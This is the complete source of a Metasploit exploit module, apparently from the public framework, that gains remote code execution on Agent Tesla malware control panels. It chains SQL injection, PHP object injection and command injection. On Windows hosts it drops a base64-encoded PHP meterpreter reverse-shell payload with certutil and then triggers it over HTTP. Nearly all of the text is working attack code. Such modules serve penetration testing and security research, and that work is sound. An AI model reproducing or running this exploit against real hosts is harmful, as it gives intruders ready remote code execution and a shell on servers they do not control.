## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Agent Tesla Panel Remote Code Execution', 'Description' => %q{ This module exploits a command injection vulnerability within the Agent Tesla control panel, in combination with an SQL injection vulnerability and a PHP object injection vulnerabilty, to gain remote code execution on affected hosts. Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to gain remote code execution as user running the web server. Agent Tesla panels released on or after this date can still be exploited however, provided that attackers have valid credentials for the Agent Tesla control panel. Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack. Support for Linux may be added in a future update, but could not be confirmed during testing. }, 'Author' => [ 'Ege Balcı ', # discovery and independent module 'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE 'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit ], 'References' => [ ['EDB', '47256'], # Original PoC and Metasploit module ['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download ['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research. ['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla ], 'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this. 'License' => MSF_LICENSE, 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Privileged' => false, 'Targets' => [ [ 'Automatic (PHP-Dropper)', { 'Platform' => 'php', 'Arch' => [ARCH_PHP], 'Type' => :php_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'DisablePayloadHandler' => 'false' } } ], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]), OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']), OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil]) ]) end def os_get_name response = parse_response(execute_command('echo $PATH')) ## Not linux, check Windows. response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH') os_name = '' if response =~ %r{^\/} os_name = 'linux' elsif response =~ /^[a-zA-Z]:\\/ os_name = 'windows' end os_name end def parse_response(js) return '' unless js begin return js.get_json_document['data'][0].values.join rescue NoMethodError return '' end return '' end def execute_command(command, _opts = {}) junk = rand(1_000) sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ") requested_payload = { 'table' => 'passwords', 'primary' => 'HWID', 'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}', 'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"") } cookie = auth_get_cookie request = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php') } request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth request = request.merge({ 'encode_params' => true, 'vars_get' => requested_payload }) response = send_request_cgi(request) return false unless response return response if response.body false end def auth_get_cookie if datastore['USERNAME'] && datastore['PASSWORD'] response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'vars_post' => { 'Username' => datastore['USERNAME'], 'Password' => datastore['PASSWORD'] } ) return :not_auth unless response return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/ end :not_auth end def check # check for login credentials couple. if datastore['USERNAME'] && datastore['PASSWORD'].nil? fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.') end if datastore['PASSWORD'] && datastore['USERNAME'].nil? fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.') end response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php') ) if response if response.redirect? && response.headers['location'] =~ /login.php/ unless datastore['USERNAME'] && datastore['PASSWORD'] print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.') return Exploit::CheckCode::Unknown end end rand_str = Rex::Text.rand_text_alpha(8..16) cmd_output = parse_response(execute_command("echo #{rand_str}")) return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str) end Exploit::CheckCode::Safe end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super os = os_get_name unless os print_bad('Could not determine the targeted operating system.') return Msf::Exploit::Failed end print_status("Targeted operating system is: #{os}") file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php' case os when /linux/ fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!") when /windows/ cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64" end print_status("Sending #{datastore['PAYLOAD']} command payload") vprint_status("Generated command payload: #{cmd}") response = execute_command(cmd) unless response && response.code == 200 && response.body.include?('command completed successfully') fail_with(Failure::UnexpectedReply, 'Payload upload failed :(') end if os == 'windows' panel_uri = datastore['TARGETURI'].gsub('/', '\\') print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}") register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}") else fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!") end # Triggering payload. send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name) }, 2.5) end end